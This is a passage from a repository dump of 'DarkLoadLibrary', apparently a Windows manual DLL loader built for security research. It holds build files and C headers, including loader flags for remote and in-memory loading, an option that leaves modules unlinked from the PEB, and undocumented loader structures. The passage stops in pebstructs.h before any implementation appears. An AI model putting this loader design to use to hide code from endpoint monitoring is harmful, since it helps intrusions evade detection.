├── .gitignore
├── DarkLoadLibrary
├── DarkLoadLibrary.sln
├── DarkLoadLibrary.vcxproj
├── DarkLoadLibrary.vcxproj.filters
├── DarkLoadLibrary.vcxproj.user
├── amsi.dll
├── include
│ ├── darkloadlibrary.h
│ ├── ldrutils.h
│ ├── pebstructs.h
│ ├── pebutils.h
│ └── syscalls.h
└── src
│ ├── darkloadlibrary.c
│ ├── ldrutils.c
│ ├── main.c
│ ├── pebutils.c
│ ├── syscalls.c
│ └── syscallsstubs.asm
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Ll]og/
33 | [Ll]ogs/
34 |
35 | # Visual Studio 2015/2017 cache/options directory
36 | .vs/
37 | # Uncomment if you have tasks that create the project's static files in wwwroot
38 | #wwwroot/
39 |
40 | # Visual Studio 2017 auto generated files
41 | Generated\ Files/
42 |
43 | # MSTest test Results
44 | [Tt]est[Rr]esult*/
45 | [Bb]uild[Ll]og.*
46 |
47 | # NUnit
48 | *.VisualState.xml
49 | TestResult.xml
50 | nunit-*.xml
51 |
52 | # Build Results of an ATL Project
53 | [Dd]ebugPS/
54 | [Rr]eleasePS/
55 | dlldata.c
56 |
57 | # Benchmark Results
58 | BenchmarkDotNet.Artifacts/
59 |
60 | # .NET Core
61 | project.lock.json
62 | project.fragment.lock.json
63 | artifacts/
64 |
65 | # ASP.NET Scaffolding
66 | ScaffoldingReadMe.txt
67 |
68 | # StyleCop
69 | StyleCopReport.xml
70 |
71 | # Files built by Visual Studio
72 | *_i.c
73 | *_p.c
74 | *_h.h
75 | *.ilk
76 | *.meta
77 | *.obj
78 | *.iobj
79 | *.pch
80 | *.pdb
81 | *.ipdb
82 | *.pgc
83 | *.pgd
84 | *.rsp
85 | *.sbr
86 | *.tlb
87 | *.tli
88 | *.tlh
89 | *.tmp
90 | *.tmp_proj
91 | *_wpftmp.csproj
92 | *.log
93 | *.tlog
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Nuget personal access tokens and Credentials
210 | nuget.config
211 |
212 | # Microsoft Azure Build Output
213 | csx/
214 | *.build.csdef
215 |
216 | # Microsoft Azure Emulator
217 | ecf/
218 | rcf/
219 |
220 | # Windows Store app package directories and files
221 | AppPackages/
222 | BundleArtifacts/
223 | Package.StoreAssociation.xml
224 | _pkginfo.txt
225 | *.appx
226 | *.appxbundle
227 | *.appxupload
228 |
229 | # Visual Studio cache files
230 | # files ending in .cache can be ignored
231 | *.[Cc]ache
232 | # but keep track of directories ending in .cache
233 | !?*.[Cc]ache/
234 |
235 | # Others
236 | ClientBin/
237 | ~$*
238 | *~
239 | *.dbmdl
240 | *.dbproj.schemaview
241 | *.jfm
242 | *.pfx
243 | *.publishsettings
244 | orleans.codegen.cs
245 |
246 | # Including strong name files can present a security risk
247 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
248 | #*.snk
249 |
250 | # Since there are multiple workflows, uncomment next line to ignore bower_components
251 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
252 | #bower_components/
253 |
254 | # RIA/Silverlight projects
255 | Generated_Code/
256 |
257 | # Backup & report files from converting an old project file
258 | # to a newer Visual Studio version. Backup files are not needed,
259 | # because we have git ;-)
260 | _UpgradeReport_Files/
261 | Backup*/
262 | UpgradeLog*.XML
263 | UpgradeLog*.htm
264 | ServiceFabricBackup/
265 | *.rptproj.bak
266 |
267 | # SQL Server files
268 | *.mdf
269 | *.ldf
270 | *.ndf
271 |
272 | # Business Intelligence projects
273 | *.rdl.data
274 | *.bim.layout
275 | *.bim_*.settings
276 | *.rptproj.rsuser
277 | *- [Bb]ackup.rdl
278 | *- [Bb]ackup ([0-9]).rdl
279 | *- [Bb]ackup ([0-9][0-9]).rdl
280 |
281 | # Microsoft Fakes
282 | FakesAssemblies/
283 |
284 | # GhostDoc plugin setting file
285 | *.GhostDoc.xml
286 |
287 | # Node.js Tools for Visual Studio
288 | .ntvs_analysis.dat
289 | node_modules/
290 |
291 | # Visual Studio 6 build log
292 | *.plg
293 |
294 | # Visual Studio 6 workspace options file
295 | *.opt
296 |
297 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
298 | *.vbw
299 |
300 | # Visual Studio LightSwitch build output
301 | **/*.HTMLClient/GeneratedArtifacts
302 | **/*.DesktopClient/GeneratedArtifacts
303 | **/*.DesktopClient/ModelManifest.xml
304 | **/*.Server/GeneratedArtifacts
305 | **/*.Server/ModelManifest.xml
306 | _Pvt_Extensions
307 |
308 | # Paket dependency manager
309 | .paket/paket.exe
310 | paket-files/
311 |
312 | # FAKE - F# Make
313 | .fake/
314 |
315 | # CodeRush personal settings
316 | .cr/personal
317 |
318 | # Python Tools for Visual Studio (PTVS)
319 | __pycache__/
320 | *.pyc
321 |
322 | # Cake - Uncomment if you are using it
323 | # tools/**
324 | # !tools/packages.config
325 |
326 | # Tabs Studio
327 | *.tss
328 |
329 | # Telerik's JustMock configuration file
330 | *.jmconfig
331 |
332 | # BizTalk build output
333 | *.btp.cs
334 | *.btm.cs
335 | *.odx.cs
336 | *.xsd.cs
337 |
338 | # OpenCover UI analysis results
339 | OpenCover/
340 |
341 | # Azure Stream Analytics local run output
342 | ASALocalRun/
343 |
344 | # MSBuild Binary and Structured Log
345 | *.binlog
346 |
347 | # NVidia Nsight GPU debugger configuration file
348 | *.nvuser
349 |
350 | # MFractors (Xamarin productivity tool) working folder
351 | .mfractor/
352 |
353 | # Local History for Visual Studio
354 | .localhistory/
355 |
356 | # BeatPulse healthcheck temp database
357 | healthchecksdb
358 |
359 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
360 | MigrationBackup/
361 |
362 | # Ionide (cross platform F# VS Code tools) working folder
363 | .ionide/
364 |
365 | # Fody - auto-generated XML schema
366 | FodyWeavers.xsd
367 |
368 | # VS Code files for those working on multiple tools
369 | .vscode/*
370 | !.vscode/settings.json
371 | !.vscode/tasks.json
372 | !.vscode/launch.json
373 | !.vscode/extensions.json
374 | *.code-workspace
375 |
376 | # Local History for Visual Studio Code
377 | .history/
378 |
379 | # Windows Installer files from build outputs
380 | *.cab
381 | *.msi
382 | *.msix
383 | *.msm
384 | *.msp
385 |
386 | # JetBrains Rider
387 | .idea/
388 | *.sln.iml
389 |
--------------------------------------------------------------------------------
/DarkLoadLibrary/DarkLoadLibrary.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30717.126
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DarkLoadLibrary", "DarkLoadLibrary.vcxproj", "{3DDD52BB-803A-40E7-90E4-A879A873DD8B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Debug|x64.ActiveCfg = Debug|x64
17 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Debug|x64.Build.0 = Debug|x64
18 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Debug|x86.ActiveCfg = Debug|Win32
19 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Debug|x86.Build.0 = Debug|Win32
20 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Release|x64.ActiveCfg = Release|x64
21 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Release|x64.Build.0 = Release|x64
22 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Release|x86.ActiveCfg = Release|Win32
23 | {3DDD52BB-803A-40E7-90E4-A879A873DD8B}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {4CF4FF8F-BFEF-4451-8EB7-ACE7C231A0F5}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/DarkLoadLibrary/DarkLoadLibrary.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {3ddd52bb-803a-40e7-90e4-a879a873dd8b}
25 | DarkLoadLibrary
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 | false
48 |
49 |
50 | Application
51 | false
52 | v142
53 | true
54 | Unicode
55 | false
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | true
84 |
85 |
86 | false
87 |
88 |
89 |
90 | Level3
91 | true
92 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
93 | true
94 | CompileAsC
95 |
96 |
97 | Console
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | true
106 | true
107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
108 | true
109 |
110 |
111 | Console
112 | true
113 | true
114 | true
115 |
116 |
117 |
118 |
119 | Level3
120 | true
121 | _CRT_SECURE_NO_WARNINGS;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
122 | true
123 | $(ProjectDir)include
124 |
125 |
126 | Console
127 | true
128 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)
129 |
130 |
131 |
132 |
133 | Level3
134 | true
135 | true
136 | true
137 | _CRT_SECURE_NO_WARNINGS;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
138 | true
139 | MultiThreadedDLL
140 | $(ProjectDir)include
141 |
142 |
143 | Console
144 | true
145 | true
146 | true
147 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)
148 | false
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 | Document
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
--------------------------------------------------------------------------------
/DarkLoadLibrary/DarkLoadLibrary.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files
32 |
33 |
34 |
35 |
36 | Header Files
37 |
38 |
39 | Header Files
40 |
41 |
42 | Header Files
43 |
44 |
45 | Header Files
46 |
47 |
48 | Header Files
49 |
50 |
51 |
52 |
53 | Source Files
54 |
55 |
56 |
--------------------------------------------------------------------------------
/DarkLoadLibrary/DarkLoadLibrary.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/DarkLoadLibrary/amsi.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bats3c/DarkLoadLibrary/047a0b0bf1d655470e0c70e247352bba1a748cbc/DarkLoadLibrary/amsi.dll
--------------------------------------------------------------------------------
/DarkLoadLibrary/include/darkloadlibrary.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #pragma comment(lib, "Shlwapi.lib")
5 |
6 | #define LOAD_LOCAL_FILE 0x00000001
7 | #define LOAD_REMOTE_FILE 0x00000002
8 | #define LOAD_MEMORY 0x00000003
9 | #define NO_LINK 0x00010000
10 |
11 | typedef LPVOID(WINAPI* HEAPALLOC)(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
12 | typedef HANDLE(WINAPI* GETPROCESSHEAP)(VOID);
13 | typedef HANDLE(WINAPI* CREATEFILEW)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
14 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
15 | typedef DWORD(WINAPI* GETFILESIZE)(HANDLE hFile, LPDWORD lpFileSizeHigh);
16 | typedef BOOL(WINAPI* READFILE)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
17 | typedef BOOL(WINAPI* CLOSEHANDLE)(HANDLE hObject);
18 | typedef BOOL(WINAPI* HEAPFREE)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);
19 | typedef LPCWSTR(WINAPI *PATHFINDFILENAMEW)(LPCWSTR pszPath);
20 | typedef int(__cdecl *WSPRINTFW)(LPWSTR, LPCWSTR, ...);
21 |
22 | #pragma once
23 | typedef struct _DARKMODULE {
24 | BOOL bSuccess;
25 | LPWSTR ErrorMsg;
26 | PBYTE pbDllData;
27 | DWORD dwDllDataLen;
28 | LPWSTR LocalDLLName;
29 | PWCHAR CrackedDLLName;
30 | ULONG_PTR ModuleBase;
31 | BOOL bLinkedToPeb;
32 | } DARKMODULE, *PDARKMODULE;
33 |
34 | PDARKMODULE DarkLoadLibrary(
35 | DWORD dwFlags,
36 | LPCWSTR lpwBuffer,
37 | LPVOID lpFileBuffer,
38 | DWORD dwLen,
39 | LPCWSTR lpwName
40 | );
41 |
42 | SIZE_T WideStringLength(LPWSTR str);
43 | BOOL WideStringCompare(LPWSTR lpwStr1, LPWSTR lpwStr2, SIZE_T cbMaxCount);
--------------------------------------------------------------------------------
/DarkLoadLibrary/include/ldrutils.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include "pebutils.h"
4 | #include "darkloadlibrary.h"
5 |
6 | #define RVA(type, base_addr, rva) (type)((ULONG_PTR) base_addr + rva)
7 |
8 | typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
9 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
10 | typedef BOOL(WINAPI* VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
11 | typedef BOOL(WINAPI* FLUSHINSTRUCTIONCACHE)(HANDLE hProcess, LPCVOID lpBaseAddress, SIZE_T dwSize);
12 |
13 | BOOL IsValidPE(PBYTE pbData);
14 | BOOL MapSections(PDARKMODULE pdModule);
15 | BOOL ResolveImports(PDARKMODULE pdModule);
16 | BOOL LinkModuleToPEB(PDARKMODULE pdModule);
17 | BOOL BeginExecution(PDARKMODULE pdModule);
--------------------------------------------------------------------------------
/DarkLoadLibrary/include/pebstructs.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #define GDI_HANDLE_BUFFER_SIZE32 34
4 | #define GDI_HANDLE_BUFFER_SIZE64 60
5 |
6 | #ifdef _WIN64
7 | #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64
8 | #endif
9 |
10 | #ifndef _WIN64
11 | #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32
12 | #endif
13 |
14 | typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
15 |
16 | typedef struct _PEB_LDR_DATA2
17 | {
18 | ULONG Length;
19 | BOOLEAN Initialized;
20 | PVOID SsHandle;
21 | LIST_ENTRY InLoadOrderModuleList;
22 | LIST_ENTRY InMemoryOrderModuleList;
23 | LIST_ENTRY InInitializationOrderModuleList;
24 | PVOID EntryInProgress;
25 | #if (NTDDI_VERSION >= NTDDI_WIN7)
26 | UCHAR ShutdownInProgress;
27 | PVOID ShutdownThreadId;
28 | #endif
29 | } PEB_LDR_DATA2, *PPEB_LDR_DATA2;
30 |
31 | typedef struct
32 | {
33 | WORD offset : 12;
34 | WORD type : 4;
35 | } IMAGE_RELOC, * PIMAGE_RELOC;
36 |
37 | typedef struct _API_SET_NAMESPACE
38 | {
39 | ULONG Version;
40 | ULONG Size;
41 | ULONG Flags;
42 | ULONG Count;
43 | ULONG EntryOffset;
44 | ULONG HashOffset;
45 | ULONG HashFactor;
46 | } API_SET_NAMESPACE, *PAPI_SET_NAMESPACE;
47 |
48 |
49 | typedef enum _LDR_DLL_LOAD_REASON
50 | {
51 | LoadReasonStaticDependency,
52 | LoadReasonStaticForwarderDependency,
53 | LoadReasonDynamicForwarderDependency,
54 | LoadReasonDelayloadDependency,
55 | LoadReasonDynamicLoad,
56 | LoadReasonAsImageLoad,
57 | LoadReasonAsDataLoad,
58 | LoadReasonEnclavePrimary, // REDSTONE3
59 | LoadReasonEnclaveDependency,
60 | LoadReasonUnknown = -1
61 | } LDR_DLL_LOAD_REASON, *PLDR_DLL_LOAD_REASON;
62 |
63 | typedef enum _LDR_DDAG_STATE
64 | {
65 | LdrModulesMerged = -5,
66 | LdrModulesInitError = -4,
67 | LdrModulesSnapError = -3,
68 | LdrModulesUnloaded = -2,
69 | LdrModulesUnloading = -1,
70 | LdrModulesPlaceHolder = 0,
71 | LdrModulesMapping = 1,
72 | LdrModulesMapped = 2,
73 | LdrModulesWaitingForDependencies = 3,
74 | LdrModulesSnapping = 4,
75 | LdrModulesSnapped = 5,
76 | LdrModulesCondensed = 6,
77 | LdrModulesReadyToInit = 7,
78 | LdrModulesInitializing = 8,
79 | LdrModulesReadyToRun = 9
80 | } LDR_DDAG_STATE;
81 |
82 | typedef struct _LDRP_CSLIST
83 | {
84 | PSINGLE_LIST_ENTRY Tail;
85 | } LDRP_CSLIST, *PLDRP_CSLIST;
86 |
87 | typedef struct _LDR_SERVICE_TAG_RECORD
88 | {
89 | struct _LDR_SERVICE_TAG_RECORD *Next;
90 | ULONG ServiceTag;
91 | } LDR_SERVICE_TAG_RECORD, *PLDR_SERVICE_TAG_RECORD;
92 |
93 | typedef struct _RTL_BALANCED_NODE
94 | {
95 | union
96 | {
97 | struct _RTL_BALANCED_NODE *Children[2];
98 | struct
99 | {
100 | struct _RTL_BALANCED_NODE *Left;
101 | struct _RTL_BALANCED_NODE *Right;
102 | };
103 | };
104 | union
105 | {
106 | UCHAR Red : 1;
107 | UCHAR Balance : 2;
108 | ULONG_PTR ParentValue;
109 | };
110 | } RTL_BALANCED_NODE, *PRTL_BALANCED_NODE;
111 |
112 | typedef struct _LDR_DDAG_NODE
113 | {
114 | LIST_ENTRY Modules;
115 | PLDR_SERVICE_TAG_RECORD ServiceTagList;
116 | ULONG LoadCount;
117 | ULONG LoadWhileUnloadingCount;
118 | ULONG LowestLink;
119 | union
120 | {
121 | LDRP_CSLIST Dependencies;
122 | SINGLE_LIST_ENTRY RemovalLink;
123 | };
124 | LDRP_CSLIST IncomingDependencies;
125 | LDR_DDAG_STATE State;
126 | SINGLE_LIST_ENTRY CondenseLink;
127 | ULONG PreorderNumber;
128 | } LDR_DDAG_NODE, *PLDR_DDAG_NODE;
129 |
130 | typedef BOOLEAN (NTAPI *PLDR_INIT_ROUTINE)(
131 | _In_ PVOID DllHandle,
132 | _In_ ULONG Reason,
133 | _In_opt_ PVOID Context
134 | );
135 |
136 | typedef struct _LDR_DATA_TABLE_ENTRY2
137 | {
138 | LIST_ENTRY InLoadOrderLinks;
139 | LIST_ENTRY InMemoryOrderLinks;
140 | union
141 | {
142 | LIST_ENTRY InInitializationOrderLinks;
143 | LIST_ENTRY InProgressLinks;
144 | };
145 | PVOID DllBase;
146 | PLDR_INIT_ROUTINE EntryPoint;
147 | ULONG SizeOfImage;
148 | UNICODE_STRING FullDllName;
149 | UNICODE_STRING BaseDllName;
150 | union
151 | {
152 | UCHAR FlagGroup[4];
153 | ULONG Flags;
154 | struct
155 | {
156 | ULONG PackagedBinary : 1;
157 | ULONG MarkedForRemoval : 1;
158 | ULONG ImageDll : 1;
159 | ULONG LoadNotificationsSent : 1;
160 | ULONG TelemetryEntryProcessed : 1;
161 | ULONG ProcessStaticImport : 1;
162 | ULONG InLegacyLists : 1;
163 | ULONG InIndexes : 1;
164 | ULONG ShimDll : 1;
165 | ULONG InExceptionTable : 1;
166 | ULONG ReservedFlags1 : 2;
167 | ULONG LoadInProgress : 1;
168 | ULONG LoadConfigProcessed : 1;
169 | ULONG EntryProcessed : 1;
170 | ULONG ProtectDelayLoad : 1;
171 | ULONG ReservedFlags3 : 2;
172 | ULONG DontCallForThreads : 1;
173 | ULONG ProcessAttachCalled : 1;
174 | ULONG ProcessAttachFailed : 1;
175 | ULONG CorDeferredValidate : 1;
176 | ULONG CorImage : 1;
177 | ULONG DontRelocate : 1;
178 | ULONG CorILOnly : 1;
179 | ULONG ChpeImage : 1;
180 | ULONG ReservedFlags5 : 2;
181 | ULONG Redirected : 1;
182 | ULONG ReservedFlags6 : 2;
183 | ULONG CompatDatabaseProcessed : 1;
184 | };
185 | };
186 | USHORT ObsoleteLoadCount;
187 | USHORT TlsIndex;
188 | LIST_ENTRY HashLinks;
189 | ULONG TimeDateStamp;
190 | struct _ACTIVATION_CONTEXT *EntryPointActivationContext;
191 | PVOID Lock; // RtlAcquireSRWLockExclusive
192 | PLDR_DDAG_NODE DdagNode;
193 | LIST_ENTRY NodeModuleLink;
194 | struct _LDRP_LOAD_CONTEXT *LoadContext;
195 | PVOID ParentDllBase;
196 | PVOID SwitchBackContext;
197 | RTL_BALANCED_NODE BaseAddressIndexNode;
198 | RTL_BALANCED_NODE MappingInfoIndexNode;
199 | ULONG_PTR OriginalBase;
200 | LARGE_INTEGER LoadTime;
201 | ULONG BaseNameHashValue;
202 | LDR_DLL_LOAD_REASON LoadReason;
203 | ULONG ImplicitPathOptions;
204 | ULONG ReferenceCount;
205 | ULONG DependentLoadFlags;
206 | UCHAR SigningLevel; // since REDSTONE2
207 | } LDR_DATA_TABLE_ENTRY2, *PLDR_DATA_TABLE_ENTRY2;
208 |
209 | typedef struct _PEB2
210 | {
211 | BOOLEAN InheritedAddressSpace;
212 | BOOLEAN ReadImageFileExecOptions;
213 | BOOLEAN BeingDebugged;
214 | union
215 | {
216 | BOOLEAN BitField;
217 | struct
218 | {
219 | BOOLEAN ImageUsesLargePages : 1;
220 | BOOLEAN IsProtectedProcess : 1;
221 | BOOLEAN IsImageDynamicallyRelocated : 1;
222 | BOOLEAN SkipPatchingUser32Forwarders : 1;
223 | BOOLEAN IsPackagedProcess : 1;
224 | BOOLEAN IsAppContainer : 1;
225 | BOOLEAN IsProtectedProcessLight : 1;
226 | BOOLEAN IsLongPathAwareProcess : 1;
227 | };
228 | };
229 |
230 | HANDLE Mutant;
231 |
232 | PVOID ImageBaseAddress;
233 | PPEB_LDR_DATA2 Ldr;
234 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
235 | PVOID SubSystemData;
236 | PVOID ProcessHeap;
237 | PRTL_CRITICAL_SECTION FastPebLock;
238 | PSLIST_HEADER AtlThunkSListPtr;
239 | PVOID IFEOKey;
240 |
241 | union
242 | {
243 | ULONG CrossProcessFlags;
244 | struct
245 | {
246 | ULONG ProcessInJob : 1;
247 | ULONG ProcessInitializing : 1;
248 | ULONG ProcessUsingVEH : 1;
249 | ULONG ProcessUsingVCH : 1;
250 | ULONG ProcessUsingFTH : 1;
251 | ULONG ProcessPreviouslyThrottled : 1;
252 | ULONG ProcessCurrentlyThrottled : 1;
253 | ULONG ProcessImagesHotPatched : 1; // REDSTONE5
254 | ULONG ReservedBits0 : 24;
255 | };
256 | };
257 | union
258 | {
259 | PVOID KernelCallbackTable;
260 | PVOID UserSharedInfoPtr;
261 | };
262 | ULONG SystemReserved;
263 | ULONG AtlThunkSListPtr32;
264 | PAPI_SET_NAMESPACE ApiSetMap;
265 | ULONG TlsExpansionCounter;
266 | PVOID TlsBitmap;
267 | ULONG TlsBitmapBits[2];
268 |
269 | PVOID ReadOnlySharedMemoryBase;
270 | PVOID SharedData; // HotpatchInformation
271 | PVOID *ReadOnlyStaticServerData;
272 |
273 | PVOID AnsiCodePageData; // PCPTABLEINFO
274 | PVOID OemCodePageData; // PCPTABLEINFO
275 | PVOID UnicodeCaseTableData; // PNLSTABLEINFO
276 |
277 | ULONG NumberOfProcessors;
278 | ULONG NtGlobalFlag;
279 |
280 | ULARGE_INTEGER CriticalSectionTimeout;
281 | SIZE_T HeapSegmentReserve;
282 | SIZE_T HeapSegmentCommit;
283 | SIZE_T HeapDeCommitTotalFreeThreshold;
284 | SIZE_T HeapDeCommitFreeBlockThreshold;
285 |
286 | ULONG NumberOfHeaps;
287 | ULONG MaximumNumberOfHeaps;
288 | PVOID *ProcessHeaps; // PHEAP
289 |
290 | PVOID GdiSharedHandleTable;
291 | PVOID ProcessStarterHelper;
292 | ULONG GdiDCAttributeList;
293 |
294 | PRTL_CRITICAL_SECTION LoaderLock;
295 |
296 | ULONG OSMajorVersion;
297 | ULONG OSMinorVersion;
298 | USHORT OSBuildNumber;
299 | USHORT OSCSDVersion;
300 | ULONG OSPlatformId;
301 | ULONG ImageSubsystem;
302 | ULONG ImageSubsystemMajorVersion;
303 | ULONG ImageSubsystemMinorVersion;
